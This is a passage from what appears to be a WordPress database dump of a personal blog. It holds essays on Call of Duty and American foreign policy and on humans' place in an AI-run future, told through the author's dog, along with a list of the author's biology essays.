Lord 2025, has fractured. It no longer has a single unifying vision, either in time, view of American power, or morality. It’s multi-polared, and gamers can choose which reflection of America best suits their view of the truth: Infinity Ward’s grounded realism, Treyarch’s horrendously complex bombasticism, or Sledgehammer’s loud incoherency.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s hard to say what’s next for&nbsp;<em>Call of Duty</em>. Its publisher has been devoured by Microsoft, who are determined to use&nbsp;<em>Call of Duty</em>’s annual releases to push subscriptions to its Game Pass services. The delicate balance of powers between its 3 developers is in disarray, as Infinity Ward’s next project has been pushed back to 2026, forcing one of the other two developers to step up out of turn if they intend to keep up the annual release cycle. But no&nbsp;<em>Call of Duty</em>&nbsp;has been announced yet for 2025, even though we’re a quarter of the way through the year. It might just be that gamers simply can no longer rely on&nbsp;<em>Call of Duty</em>&nbsp;for their annual reflection on America.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Are the gamers of America, and the world, prepared for that eventuality, though? Their view, nay, our view of the videogame industry is centered around this annual release. Since I was 10, I’ve lived in a world in which&nbsp;<em>Call of Duty</em>&nbsp;has reigned supreme among first person shooters. My virtual blood has infused the digital battlegrounds of&nbsp;<em>Call of Duty</em>&nbsp;countless times, and my real-life shooter sweat has infused controllers from my parents’ basement, to my college dorm room, to the succession of apartments I’ve inhabited in my current city.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Sometimes I’ve hated&nbsp;<em>Call of Duty</em>. Sometimes I’ve loved it. Sometimes I’ve felt at home in its view of the world. Sometimes I’ve felt alienated by it. But it’s been a long time since I considered a videogame world without it. Now, I don’t think 2025 will be the end of&nbsp;<em>Call of Duty</em>. It’s too valuable and there are too many people invested in it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t think that Microsoft appreciated, though, when they took over&nbsp;<em>Call of Duty</em>&nbsp;exactly how complicated it is to develop though. It’s a delicate, complex, massive endeavor that takes place every year. I mean, if you think the above annual creative effort sounds wild, keep in mind that I didn’t even mention the massive and multifarious multiplayer modes and elaborate marketing that is packaged in with every release. There is so, so much work that goes into keeping&nbsp;<em>Call of Duty</em>&nbsp;running. It’s not invincible. It’s entirely possible for Microsoft’s too-clever-by-half meddling to irreparably damage it. And yes, this is a metaphor.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>What is this brave new world we’re entering, as our allies become foes, our foes become allies, and we hollow out our most robust institutions from within? I don’t know. Hopefully the next&nbsp;<em>Call of Duty</em>&nbsp;will help me figure it out.</p>\n<!-- /wp:paragraph -->','Call of Duty as a lens into American foreign policy from 2003-2025','','inherit','closed','closed','','542-revision-v1','','','2025-07-03 19:51:25','2025-07-03 19:51:25','',542,'https://trevorklee.com/?p=543',0,'revision','',0),
(544,1,'2025-07-03 20:03:52','2025-07-03 20:03:52','<!-- wp:paragraph -->\n<p>I’ve been thinking a lot recently about my dog, Jasper. Jasper is half-lab, half-whippet, which means he’s very muscular, very fast, and obsessed with fetch. He’s also quite dumb, even by dog standards, which may be due to his whippet heritage<a href=\"https://trevorklee.substack.com/p/the-place-of-humans-in-machine-society#footnote-1-167271817\">1</a>. He repeatedly fails to solve doggy puzzles, gets bamboozled every single time by fake throws, and still has not figured out how to enter my fiancee’s office, which is set off from the bedroom by curtains. He just stands outside of the curtains, crying, even though he could literally just walk around or through them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jasper lives in a world he does not remotely understand. He relies on humans for every single need. His water comes from a sink, which he can’t operate. His food comes from a container that he can’t open. In hot months, he needs a human to put on the fan. In cold months, he needs a human to put on the heater. His path to the outside world is blocked by doorknobs which he can’t operate, and cars speed down the roads outside of my apartment obeying rules that he cannot fathom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not a world that Jasper chose for himself. His mother was a stray dog in Mississippi, and he could have conceivably been one, too. But he was picked up as a puppy from the ditch he was born in and entered into the world of humans. He was vaccinated, neutered, collared, and passed from clinic to foster family to, eventually, my home in Boston. He’s been there ever since, following me from apartment to apartment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Fs1F!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5575fede-e005-4611-8d4b-5476cddcca5e_960x779.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Fs1F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5575fede-e005-4611-8d4b-5476cddcca5e_960x779.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">The boy himself. This picture may be a metaphor. It’s also a great picture. Being jet black makes him look great against a variety of backdrops, although it also makes it very difficult to see him at night or on my black couch.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I don’t think he leads a bad life here in Boston. In fact, I think he leads quite a good life. He seems to enjoy himself most of the time, especially when we go to the park or he gets to swim in the river. But there is something undeniably sad about how he is completely, utterly useless in the world he lives in. He cannot help with any part of either his or my life. Even his attributes that are undeniably superior to mine, like his speed, hearing, or smell are just fun novelties at best. It’s great that he can fetch faster than almost any other dog at the dog park, but fetch is something that is entirely for his benefit, anyways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason I’ve been thinking so much about Jasper is a combination of two things:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. I’m in the midst of reading an excellent, meticulously researched, occasionally tedious book called&nbsp;<em>The Rise and Fall of American Growth</em>, which argues that the scale of transformation in American daily living from 1870-1940 vs. any other 70 year period of history is underappreciated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In 1870, we were largely a rural society, living at the end of dirt roads, with no running water or electricity, walking everywhere, never leaving our hometowns, eating seasonally, washing occasionally, and wearing the same two outfits every day. By 1940, we were much more urban, connected by paved roads, sewage pipes, and electric wires, migrating across the country to look for opportunities, eating a variety of foods shipped from coast-to-coast, and consuming an immense variety of consumer goods through department stores and mail order catalogs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. I’ve started to become freaked out by the pace of AI and scientific development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From 1940 to 2010, our society did not transform that much, in terms of daily living. Our biggest changes were in terms of our entertainment, our communication, and our air conditioning. Still, I can imagine myself going back to 1940 and doing ok. I’d have a lot more paper in my office and need to spend a lot more time writing letters, but I think I’d adapt relatively quickly. A young person in 1940, by contrast, would have a miserable time going back to 1870.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But now it feels like, given the pace of AI and scientific development, the next 70 years might see as big a change as 1870-1940 did. I’m starting to wonder if 2095 is going to be as foreign to me as 1870 would be to a 1940ite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, my biggest worry (which is why I started with my anecdotes about Jasper), is not just that the world will become different, but that it will become incomprehensible. AI today is smarter in every single intellectual activity than probably 95 or 99% of humans. In some things, it’s smarter than any human, like in its ability to design antibodies, as&nbsp;<a href=\"https://x.com/chaidiscovery/status/1939684680447746050\">a headline I just saw announced today</a>. The only thing it’s below average in is physically moving through and manipulating the world. AI powered robots are currently better at physical movement than a severely disabled person, but worse than an able-bodied program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s just the state of AI right now. It’s progressing rapidly. AI capabilities are exploding, including in its ability to physically manipulate the world. This is a bigger deal than it seems. Right now, one of the biggest barriers that AI has to challenging scientists or engineers is that it can’t actually run any experiments. It can come up with really clever hypotheses based on the literature, but it lacks any tacit knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once AI can pair what it knows about what’s written down with the ability to run experiments and learn about the real world, it will be able to take humans out of the loop altogether. Frankly, humans will no longer be needed to make the world run.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so the world my children will live in may need them as much as my world needs Jasper. Jasper lives in a world closed off by doorknobs designed for human hands, water sources high up off the ground and out of his reach, and food that’s ordered on the Internet and stored in dog-proof containers. His world is designed by humans, for humans, and he exists as a cute accessory to this world. There is nothing productive that he contributes to this world, and this will not change anytime in the future. If Jasper wanted to get smarter, or faster, or stronger, his ability to participate in the world would not change at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe my children, in 2095, will look back at 2025 and be utterly baffled how I ever lived in a world that relied on me and humans like me to make it run. They will shudder to imagine the work I put in to earn money, keep my apartment clean, feed myself, and, yes, take care of my dog. All of their needs will be taken care of by creatures far more capable than them in every way that matters, and it’ll be an easier life for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s not a world I’d want to live in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-place-of-humans-in-machine-society#footnote-anchor-1-167271817\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Labs I’ve had in the past have not been quite as dumb.</p>\n<!-- /wp:paragraph -->','The place of humans in machine society','','publish','closed','closed','','the-place-of-humans-in-machine-society','','','2025-07-03 20:03:52','2025-07-03 20:03:52','',0,'https://trevorklee.com/?page_id=544',0,'page','',0),
(545,1,'2025-07-03 20:03:52','2025-07-03 20:03:52','<!-- wp:paragraph -->\n<p>I’ve been thinking a lot recently about my dog, Jasper. Jasper is half-lab, half-whippet, which means he’s very muscular, very fast, and obsessed with fetch. He’s also quite dumb, even by dog standards, which may be due to his whippet heritage<a href=\"https://trevorklee.substack.com/p/the-place-of-humans-in-machine-society#footnote-1-167271817\">1</a>. He repeatedly fails to solve doggy puzzles, gets bamboozled every single time by fake throws, and still has not figured out how to enter my fiancee’s office, which is set off from the bedroom by curtains. He just stands outside of the curtains, crying, even though he could literally just walk around or through them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Jasper lives in a world he does not remotely understand. He relies on humans for every single need. His water comes from a sink, which he can’t operate. His food comes from a container that he can’t open. In hot months, he needs a human to put on the fan. In cold months, he needs a human to put on the heater. His path to the outside world is blocked by doorknobs which he can’t operate, and cars speed down the roads outside of my apartment obeying rules that he cannot fathom.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is not a world that Jasper chose for himself. His mother was a stray dog in Mississippi, and he could have conceivably been one, too. But he was picked up as a puppy from the ditch he was born in and entered into the world of humans. He was vaccinated, neutered, collared, and passed from clinic to foster family to, eventually, my home in Boston. He’s been there ever since, following me from apartment to apartment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image {\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a class=\"image-link image2 is-viewable-img\" href=\"https://substackcdn.com/image/fetch/$s_!Fs1F!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5575fede-e005-4611-8d4b-5476cddcca5e_960x779.jpeg\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https://substackcdn.com/image/fetch/$s_!Fs1F!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5575fede-e005-4611-8d4b-5476cddcca5e_960x779.jpeg\" alt=\"\"/></a><figcaption class=\"wp-element-caption\">The boy himself. This picture may be a metaphor. It’s also a great picture. Being jet black makes him look great against a variety of backdrops, although it also makes it very difficult to see him at night or on my black couch.</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>I don’t think he leads a bad life here in Boston. In fact, I think he leads quite a good life. He seems to enjoy himself most of the time, especially when we go to the park or he gets to swim in the river. But there is something undeniably sad about how he is completely, utterly useless in the world he lives in. He cannot help with any part of either his or my life. Even his attributes that are undeniably superior to mine, like his speed, hearing, or smell are just fun novelties at best. It’s great that he can fetch faster than almost any other dog at the dog park, but fetch is something that is entirely for his benefit, anyways.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The reason I’ve been thinking so much about Jasper is a combination of two things:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. I’m in the midst of reading an excellent, meticulously researched, occasionally tedious book called&nbsp;<em>The Rise and Fall of American Growth</em>, which argues that the scale of transformation in American daily living from 1870-1940 vs. any other 70 year period of history is underappreciated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In 1870, we were largely a rural society, living at the end of dirt roads, with no running water or electricity, walking everywhere, never leaving our hometowns, eating seasonally, washing occasionally, and wearing the same two outfits every day. By 1940, we were much more urban, connected by paved roads, sewage pipes, and electric wires, migrating across the country to look for opportunities, eating a variety of foods shipped from coast-to-coast, and consuming an immense variety of consumer goods through department stores and mail order catalogs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. I’ve started to become freaked out by the pace of AI and scientific development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>From 1940 to 2010, our society did not transform that much, in terms of daily living. Our biggest changes were in terms of our entertainment, our communication, and our air conditioning. Still, I can imagine myself going back to 1940 and doing ok. I’d have a lot more paper in my office and need to spend a lot more time writing letters, but I think I’d adapt relatively quickly. A young person in 1940, by contrast, would have a miserable time going back to 1870.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But now it feels like, given the pace of AI and scientific development, the next 70 years might see as big a change as 1870-1940 did. I’m starting to wonder if 2095 is going to be as foreign to me as 1870 would be to a 1940ite.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And then, my biggest worry (which is why I started with my anecdotes about Jasper), is not just that the world will become different, but that it will become incomprehensible. AI today is smarter in every single intellectual activity than probably 95 or 99% of humans. In some things, it’s smarter than any human, like in its ability to design antibodies, as&nbsp;<a href=\"https://x.com/chaidiscovery/status/1939684680447746050\">a headline I just saw announced today</a>. The only thing it’s below average in is physically moving through and manipulating the world. AI powered robots are currently better at physical movement than a severely disabled person, but worse than an able-bodied program.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s just the state of AI right now. It’s progressing rapidly. AI capabilities are exploding, including in its ability to physically manipulate the world. This is a bigger deal than it seems. Right now, one of the biggest barriers that AI has to challenging scientists or engineers is that it can’t actually run any experiments. It can come up with really clever hypotheses based on the literature, but it lacks any tacit knowledge.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Once AI can pair what it knows about what’s written down with the ability to run experiments and learn about the real world, it will be able to take humans out of the loop altogether. Frankly, humans will no longer be needed to make the world run.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And so the world my children will live in may need them as much as my world needs Jasper. Jasper lives in a world closed off by doorknobs designed for human hands, water sources high up off the ground and out of his reach, and food that’s ordered on the Internet and stored in dog-proof containers. His world is designed by humans, for humans, and he exists as a cute accessory to this world. There is nothing productive that he contributes to this world, and this will not change anytime in the future. If Jasper wanted to get smarter, or faster, or stronger, his ability to participate in the world would not change at all.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Maybe my children, in 2095, will look back at 2025 and be utterly baffled how I ever lived in a world that relied on me and humans like me to make it run. They will shudder to imagine the work I put in to earn money, keep my apartment clean, feed myself, and, yes, take care of my dog. All of their needs will be taken care of by creatures far more capable than them in every way that matters, and it’ll be an easier life for them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But that’s not a world I’d want to live in.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.substack.com/p/the-place-of-humans-in-machine-society#footnote-anchor-1-167271817\">1</a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Labs I’ve had in the past have not been quite as dumb.</p>\n<!-- /wp:paragraph -->','The place of humans in machine society','','inherit','closed','closed','','544-revision-v1','','','2025-07-03 20:03:52','2025-07-03 20:03:52','',544,'https://trevorklee.com/?p=545',0,'revision','',0),
(546,1,'2025-07-03 20:57:37','2025-07-03 20:57:37','<!-- wp:paragraph -->\n<p>Want to read my latest essays, including essays I haven\'t yet uploaded to here? <a href=\"https://substack.com/@trevorklee\">Subscribe to my Substack</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-chemical-reason-that-pfas-are-forever-chemicals/\" data-type=\"page\" data-id=\"538\">The chemical reason PFAS are \"forever chemicals\"</a> - they are very stable and they get picked up by everything that picks up fatty acids.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-evidence-on-plasticizer-health-harms/\" data-type=\"page\" data-id=\"528\">The evidence on plasticizer health harms</a> - Why I think NeutraOat is important.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-if-the-declines-of-aging-are-the-declines-of-taurine/\" data-type=\"page\" data-id=\"526\">What if the declines of aging are just the declines of taurine?</a> - Turns out that they aren\'t based on subsequent studies, but it was fun while it lasted.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/do-taurine-and-glycine-provide-answers-to-the-mammalian-gallbladder-and-kidney-mysteries/\" data-type=\"page\" data-id=\"524\">Do taurine and glycine provide answers to the mammalian gallbladder and kidney mysteries?</a> - Introducing a mystery you\'ve never heard of with an answer that doesn\'t work.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/some-ants-can-choose-to-live-5x-as-long/\" data-type=\"page\" data-id=\"518\">Some ants can choose to live 5x as long</a> - Insulin, gamergates, and ants doing fascinating ant stuff. I really like insulin.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/thinking-about-a-cure-for-pain-again/\" data-type=\"page\" data-id=\"504\">Thinking about a cure for pain, again</a> - Non-opioid lenses into solving the pain problem</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/cracking-biological-emergence-with-mechanistic-interpretability/\" data-type=\"page\" data-id=\"500\">Cracking biological emergence with mechanistic interpretability</a> - Stumbling my way through an essay/company by Adam Green I found fascinating. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I<a href=\"https://trevorklee.com/if-langurs-can-drink-seawater-can-humans-do-so-as-well/\" data-type=\"page\" data-id=\"498\">f langurs can drink seawater, can humans as well?</a> - Exploring the mystery of the seawater drinking Cat Ba langurs, and advocating for stupid genetic modifications in humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/no-human-genes-have-truly-100-penetrance/\" data-type=\"page\" data-id=\"496\">No human genes have truly 100% penetrance</a> - A spicy take that depends on precise definitions and annoyed geneticists.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-lactate-as-important-as-glucose-for-metabolism/\">Is lactate as important as glucose for metabolism?</a> - The evidence for and against the lactate shuttle hypothesis.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-do-waterdwelling-turtles-survive-the-winter/\">How do waterdwelling turtles survive the winter?</a> - Turtles survive the winter by not breathing, and they survive not breathing by not moving and buffering and sequestering lactic acid in their shells and maybe bones.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/on-the-safety-of-microplastics/\" data-type=\"page\" data-id=\"448\">On the safety of microplastics</a> - Trying to explain what we know and don\'t know about the safety of microplastics. That being said, don\'t eat them if you can avoid them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-longevity-a-choice-how-about-obesity/\" data-type=\"page\" data-id=\"446\">Is longevity a choice? How about obesity?</a> Coming back to cavefish to argue that any of us could become cavefish if we believed in ourselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-problem-with-the-traditional-story-of-obesity/\" data-type=\"page\" data-id=\"444\">The way scientists think about obesity now is wrong</a> - Arguing towards a new understanding of obesity</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/glp-1-and-gip-agonism-and-antagonism-is-weird/\" data-type=\"page\" data-id=\"442\">GLP-1 and GIP agonism and antagonism is weird</a> - Adding onto the previous. They are really, really weird and hard to understand, despite being very useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-twin-mysteries-of-glp-1-receptor-agonists/\" data-type=\"page\" data-id=\"440\">The twin mysteries of GLP-1 receptor agonists</a> - GLP-1 receptor agonists are full of mysteries.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/5-whys-of-diabetes/\" data-type=\"page\" data-id=\"431\">5 Whys of Diabetes</a> - A neat new approach to studying chronic diseases: by asking why a bunch of times.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/mendelian-randomization-or-causation-from-correlation/\" data-type=\"page\" data-id=\"429\">How to get causation from correlation in genetics</a> - Mendelian randomization is neat. I explain it here.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ground-squirrel-microbiomes-are-neat-unlike-human-microbiomes/\" data-type=\"page\" data-id=\"425\">Ground squirrel microbiomes are neat, unlike human microbiomes</a> - Celebrating ground squirrels and dissing humans.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/anthropocentrism-insulin-and-obese-long-lived-cavefish/\" data-type=\"page\" data-id=\"419\">Anthropocentrism, obesity, and long-lived cavefish</a> - Introducing the fat, eyeless, long-lived cavefish.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-dont-hummingbirds-get-diabetes/\" data-type=\"page\" data-id=\"415\">Why don\'t hummingbirds get diabetes?</a> A fun paper exploring the genetic adaptations of hummingbirds to a high glucose diet.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/is-this-all-the-medicine-we-were-promised/\" data-type=\"page\" data-id=\"403\">Is this all the medicine we were promised?</a> Complaining about lecanemab and other so-so medications.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/does-herpes-cause-dementia-maybe-but-im-not-convinced/\" data-type=\"page\" data-id=\"393\">Does herpes cause dementia?</a> I doubt it, but I try to give it a fair shake.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-miracle-drug-sold-over-the-counter/\" data-type=\"page\" data-id=\"383\">A miracle drug sold over the counter</a> - Exploring one of my favorite drugs.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-work-for-neuralink-probably-not/\" data-type=\"page\" data-id=\"371\">Should you work for Neuralink? Probably not. </a>- I find out that judging Elon Musk\'s companies is hard. </p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/bacterial-vaginosis-we-contain-multitudes/\" data-type=\"page\" data-id=\"364\">Bacterial vaginosis</a> - On the causes, consequences, and treatment of BV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/diagnosing-and-treating-chronic-cough/\" data-type=\"page\" data-id=\"342\">Diagnosing and treating chronic cough</a> - Self-explanatory. Same vein as my IBS post.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-place-of-ai-chatgpt-in-drug-discovery/\" data-type=\"page\" data-id=\"334\">The place of AI/ChatGPT in drug discovery</a> - For actual drug discovery, it might never be helpful. But, for the stuff around drug discovery (like keeping track of project timelines), I\'m hopeful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/prilosec-nexium-and-the-narrowing-of-american-pharmaceutical-ambition/\" data-type=\"page\" data-id=\"332\">Prilosec, Nexium, and the narrowing of American pharmaceutical ambition</a> - Discussing how Prilosec (omeprazole) was a really cool, impressive drug, then its sequel, Nexium (esomeprazole), was a shameless cash grab. The manufacturer got its comeuppance though, when Nexium, uh, made $50 billion over its lifetime.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/steelmanning-chiropractic%ef%bf%bc/\" data-type=\"page\" data-id=\"317\">Steelmanning chiropractic</a> - Trying to prove that chiropractors have some useful ideas. This proved to be an insanely controversial post on Reddit. People hate chiropractors.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/how-ive-tried-to-fix-my-lower-back-pain/\" data-type=\"page\" data-id=\"319\">How I\'ve tried to fix my lower back pain</a> - Exploring a variety of methods to fix lower back pain and then just ending up back at stretching and strengthening.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/biology-has-analogies-not-paradigms%ef%bf%bc/\" data-type=\"page\" data-id=\"323\">Biology has analogies, not paradigms</a> - Talking about how, unlike Kuhn or Popper\'s models of science, there are no real paradigms or falsification of models in molecular biology. There are just analogies, which are imperfect but useful.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-does-the-flu-covid-make-us-tired%ef%bf%bc/\" data-type=\"page\" data-id=\"303\">Why does the flu/COVID make us tired</a>? - Inspired by a recent bout with COVID, trying to figure out why COVID makes us so exhausted. Discusses the relationship between adenosine and sleep vs. glucose and fatigue (i.e. the tired you get at night vs. the tired you get after a marathon).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-being-big-and-old-risk-factors-for-cancer-or-not%ef%bf%bc/\" data-type=\"page\" data-id=\"301\">Are being big and old risk factors for cancer or not?</a> - Returning back to the question of the relationship of age and size with cancer. Why is a fat 3-year-old mouse so much more likely to get cancer than a 100-year-old whale?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/obesitys-relationship-with-type-2-diabetes-is-really-weird/\" data-type=\"page\" data-id=\"287\">Obesity\'s relationship with type 2 diabetes is really weird</a> - Once again, I go down the rabbit hole of obesity\'s weird health effects. This time, it\'s exploring type 2 diabetes, and why it\'s so easy to reverse and then un-reverse. It\'s weird!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-medical-thought-experiment/\" data-type=\"page\" data-id=\"283\">A medical thought experiment</a> - Traveling back in time to see if one could rediscover germ theory in the year 1650. Then, a twist!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/you-should-justify-your-exclusion-criteria/\">You should justify your exclusion criteria</a> - Discussing the use of exclusion criteria in medical intervention studies. Too often, they\'re used to redefine conditions into different ones than are discussed in the abstract.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a 